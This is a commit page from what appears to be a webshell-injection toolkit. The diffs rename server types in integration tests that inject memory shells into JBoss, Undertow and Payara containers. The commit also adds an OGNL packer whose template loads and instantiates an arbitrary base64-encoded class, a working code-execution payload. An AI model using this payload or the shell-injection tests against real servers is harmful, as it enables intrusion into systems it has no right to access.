Skip to content

Commit 9e3ae9d

Browse files
committed
test: compile failed
1 parent 1d97df6 commit 9e3ae9d

File tree

10 files changed

+37
-23
lines changed

10 files changed

+37
-23
lines changed

integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss423ContainerTest.java

Lines changed: 3 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -51,13 +51,9 @@ public class Jboss423ContainerTest {
5151
.withExposedPorts(8080);
5252

5353
static Stream<Arguments> casesProvider() {
54-
Server server = Server.JBossAS;
54+
Server server = Server.JBoss;
5555
List<String> supportedShellTypes = List.of(
56-
ShellType.FILTER, ShellType.LISTENER,
57-
ShellType.VALVE,
58-
ShellType.PROXY_VALVE,
59-
ShellType.AGENT_FILTER_CHAIN,
60-
ShellType.CATALINA_AGENT_CONTEXT_VALVE
56+
ShellType.PROXY_VALVE
6157
);
6258
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
6359
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
@@ -72,6 +68,6 @@ static void tearDown() {
7268
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
7369
@MethodSource("casesProvider")
7470
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
75-
testShellInjectAssertOk(getUrl(container), Server.JBossAS, shellType, shellTool, Opcodes.V1_6, packer, container, python);
71+
testShellInjectAssertOk(getUrl(container), Server.JBoss, shellType, shellTool, Opcodes.V1_6, packer, container, python);
7672
}
7773
}

integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss510ContainerTest.java

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -50,7 +50,7 @@ public class Jboss510ContainerTest {
5050
.withExposedPorts(8080);
5151

5252
static Stream<Arguments> casesProvider() {
53-
Server server = Server.JBossAS;
53+
Server server = Server.JBoss;
5454
List<String> supportedShellTypes = List.of(
5555
ShellType.FILTER, ShellType.LISTENER,
5656
ShellType.VALVE,
@@ -74,6 +74,6 @@ static void tearDown() {
7474
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
7575
@MethodSource("casesProvider")
7676
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
77-
testShellInjectAssertOk(getUrl(container), Server.JBossAS, shellType, shellTool, Opcodes.V1_6, packer, container, python);
77+
testShellInjectAssertOk(getUrl(container), Server.JBoss, shellType, shellTool, Opcodes.V1_6, packer, container, python);
7878
}
7979
}

integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss610ContainerTest.java

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -50,7 +50,7 @@ public class Jboss610ContainerTest {
5050
.withExposedPorts(8080);
5151

5252
static Stream<Arguments> casesProvider() {
53-
Server server = Server.JBossAS;
53+
Server server = Server.JBoss;
5454
List<String> supportedShellTypes = List.of(
5555
ShellType.FILTER, ShellType.LISTENER,
5656
ShellType.VALVE,
@@ -71,6 +71,6 @@ static void tearDown() {
7171
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
7272
@MethodSource("casesProvider")
7373
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
74-
testShellInjectAssertOk(getUrl(container), Server.JBossAS, shellType, shellTool, Opcodes.V1_6, packer, container, python);
74+
testShellInjectAssertOk(getUrl(container), Server.JBoss, shellType, shellTool, Opcodes.V1_6, packer, container, python);
7575
}
7676
}

integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss711ContainerTest.java

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -53,7 +53,7 @@ public class Jboss711ContainerTest {
5353
* 找不到 Templates 类暂时先不测试反序列化
5454
*/
5555
static Stream<Arguments> casesProvider() {
56-
Server server = Server.JBossAS;
56+
Server server = Server.JBoss;
5757
List<String> supportedShellTypes = List.of(
5858
ShellType.FILTER, ShellType.LISTENER,
5959
ShellType.VALVE,
@@ -74,6 +74,6 @@ static void tearDown() {
7474
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
7575
@MethodSource("casesProvider")
7676
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
77-
testShellInjectAssertOk(getUrl(container), Server.JBossAS, shellType, shellTool, Opcodes.V1_7, packer, container, python);
77+
testShellInjectAssertOk(getUrl(container), Server.JBoss, shellType, shellTool, Opcodes.V1_7, packer, container, python);
7878
}
7979
}

integration-test/src/test/java/com/reajason/javaweb/integration/jbosseap/JbossEap6ContainerTest.java

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -50,7 +50,7 @@ public class JbossEap6ContainerTest {
5050
.withExposedPorts(8080);
5151

5252
static Stream<Arguments> casesProvider() {
53-
Server server = Server.JBossEAP6;
53+
Server server = Server.JBoss;
5454
List<String> supportedShellTypes = List.of(ShellType.FILTER, ShellType.LISTENER,
5555
ShellType.VALVE,
5656
ShellType.PROXY_VALVE,
@@ -68,6 +68,6 @@ static void tearDown() {
6868
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
6969
@MethodSource("casesProvider")
7070
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
71-
testShellInjectAssertOk(getUrl(container), Server.JBossEAP6, shellType, shellTool, Opcodes.V1_6, packer, container, python);
71+
testShellInjectAssertOk(getUrl(container), Server.JBoss, shellType, shellTool, Opcodes.V1_6, packer, container, python);
7272
}
7373
}

integration-test/src/test/java/com/reajason/javaweb/integration/jbosseap/JbossEap7ContainerTest.java

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -50,7 +50,7 @@ public class JbossEap7ContainerTest {
5050
.withExposedPorts(8080);
5151

5252
static Stream<Arguments> casesProvider() {
53-
Server server = Server.JBossEAP7;
53+
Server server = Server.Undertow;
5454
List<String> supportedShellTypes = List.of(
5555
ShellType.FILTER,
5656
ShellType.LISTENER,
@@ -69,6 +69,6 @@ static void tearDown() {
6969
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
7070
@MethodSource("casesProvider")
7171
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
72-
testShellInjectAssertOk(getUrl(container), Server.JBossEAP7, shellType, shellTool, Opcodes.V1_6, packer, container, python);
72+
testShellInjectAssertOk(getUrl(container), Server.Undertow, shellType, shellTool, Opcodes.V1_6, packer, container, python);
7373
}
7474
}

integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara5201ContainerTest.java

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -50,7 +50,7 @@ public class Payara5201ContainerTest {
5050
.withExposedPorts(8080);
5151

5252
static Stream<Arguments> casesProvider() {
53-
Server server = Server.Payara;
53+
Server server = Server.GlassFish;
5454
List<String> supportedShellTypes = List.of(
5555
ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE,
5656
ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE
@@ -68,6 +68,6 @@ static void tearDown() {
6868
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
6969
@MethodSource("casesProvider")
7070
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
71-
testShellInjectAssertOk(getUrl(container), Server.Payara, shellType, shellTool, Opcodes.V1_6, packer, container, python);
71+
testShellInjectAssertOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer, container, python);
7272
}
7373
}

integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara520225ContainerTest.java

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -50,7 +50,7 @@ public class Payara520225ContainerTest {
5050
.withExposedPorts(8080);
5151

5252
static Stream<Arguments> casesProvider() {
53-
Server server = Server.Payara;
53+
Server server = Server.GlassFish;
5454
List<String> supportedShellTypes = List.of(
5555
ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE,
5656
ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE
@@ -68,6 +68,6 @@ static void tearDown() {
6868
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
6969
@MethodSource("casesProvider")
7070
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
71-
testShellInjectAssertOk(getUrl(container), Server.Payara, shellType, shellTool, Opcodes.V1_6, packer, container, python);
71+
testShellInjectAssertOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer, container, python);
7272
}
7373
}

integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara620222ContainerTest.java

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -50,7 +50,7 @@ public class Payara620222ContainerTest {
5050
.withExposedPorts(8080);
5151

5252
static Stream<Arguments> casesProvider() {
53-
Server server = Server.Payara;
53+
Server server = Server.GlassFish;
5454
List<String> supportedShellTypes = List.of(
5555
ShellType.JAKARTA_FILTER, ShellType.JAKARTA_LISTENER, ShellType.JAKARTA_VALVE,
5656
ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE
@@ -68,6 +68,6 @@ static void tearDown() {
6868
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
6969
@MethodSource("casesProvider")
7070
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
71-
testShellInjectAssertOk(getUrl(container), Server.Payara, shellType, shellTool, Opcodes.V11, packer, container, python);
71+
testShellInjectAssertOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V11, packer, container, python);
7272
}
7373
}
Lines changed: 18 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,18 @@
1+
package com.reajason.javaweb.packer.ognl;
2+
3+
import com.reajason.javaweb.packer.ClassPackerConfig;
4+
import com.reajason.javaweb.packer.Packer;
5+
6+
/**
7+
* @author ReaJason
8+
* @since 2025/7/7
9+
*/
10+
public class OGNLSpringUtilsPacker implements Packer {
11+
String template = "(@org.springframework.cglib.core.ReflectUtils@defineClass('{{className}}',@org.springframework.util.Base64Utils@decodeFromString('{{base64Str}}'),@java.lang.Thread@currentThread().getContextClassLoader())).newInstance()";
12+
13+
@Override
14+
public String pack(ClassPackerConfig config) {
15+
return template.replace("{{className}}", config.getClassName())
16+
.replace("{{base64Str}}", config.getClassBytesBase64Str());
17+
}
18+
}

0 commit comments

Comments
 (0)